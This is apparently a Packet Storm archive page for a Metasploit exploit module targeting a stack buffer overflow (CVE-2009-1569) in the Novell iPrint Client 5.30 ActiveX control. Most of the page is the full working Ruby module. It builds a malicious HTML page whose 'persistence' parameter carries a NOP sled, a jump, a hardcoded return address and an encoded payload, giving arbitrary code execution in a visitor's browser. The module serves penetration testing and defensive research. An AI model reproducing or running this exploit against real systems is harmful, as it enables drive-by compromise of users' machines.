we care because you do

Novell iPrint Client ActiveX Control Date/Time Buffer Overflow

Novell iPrint Client ActiveX Control Date/Time Buffer Overflow
Posted Feb 6, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack overflow in Novell iPrint Client 5.30. When passing a specially crafted date/time string via certain parameters to ienipp.ocx an attacker can execute arbitrary code. NOTE: The "operation" variable must be set to a valid command in order to reach this vulnerability.

tags | exploit, overflow, arbitrary
advisories | CVE-2009-1569
MD5 | 1baa5f1892dc7e563aacd2917138431b

Novell iPrint Client ActiveX Control Date/Time Buffer Overflow

Change Mirror Download
##
# $Id: novelliprint_datetime.rb 8339 2010-02-01 03:56:02Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control Date/Time Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Novell iPrint Client 5.30. When
passing a specially crafted date/time string via certain parameters to ienipp.ocx
an attacker can execute arbitrary code.

NOTE: The "operation" variable must be set to a valid command in order to reach this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8339 $',
'References' =>
[
[ 'CVE', '2009-1569' ],
[ 'BID', '37242' ],
[ 'OSVDB', '60804' ],
[ 'URL', 'http://secunia.com/advisories/35004/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00=:;,", # these are used in a strtok
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'iPrint 5.30 Windows Client', { 'Ret' => 0x1005ad5b } ] # jmp esp in ienipp.ocx v5.30
],
'DisclosureDate' => 'Dec 08 2009',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

sploit = "volatile-date-time"
sploit << make_nops(60)
# this should end up "\xeb\x04"
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
sploit << [target.ret].pack('V')
sploit << p.encoded

operations = [
"op-client-interface-version",
"op-client-version-info",
"op-client-is-printer-installed",
"op-user-get-role",
"op-printer-install",
"op-printer-remove",
"op-printer-get-status",
"op-printer-get-info",
"op-printer-pause",
"op-printer-resume",
"op-printer-purge-jobs",
"op-printer-list-users-jobs",
"op-printer-list-all-jobs",
"op-printer-send-test-page",
"op-printer-send-file",
"op-printer-setup-install",
"op-job-get-info",
"op-job-hold",
"op-job-release-hold",
"op-job-cancel",
"op-job-restart",
"op-dbg-printer-get-all-attrs",
"op-dbg-job-get-all-attrs"
]
operation = operations[rand(operations.length)]

# escape single quotes
sploit = xml_encode(sploit)

content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='persistence' value='#{sploit}' />
</object>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

def xml_encode(str)
ret = ""
str.unpack('C*').each { |ch|
case ch
when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
ret << ch.chr
else
ret << "&#x"
ret << ch.chr.unpack('H*')[0]
ret << ";"
end
}
ret
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close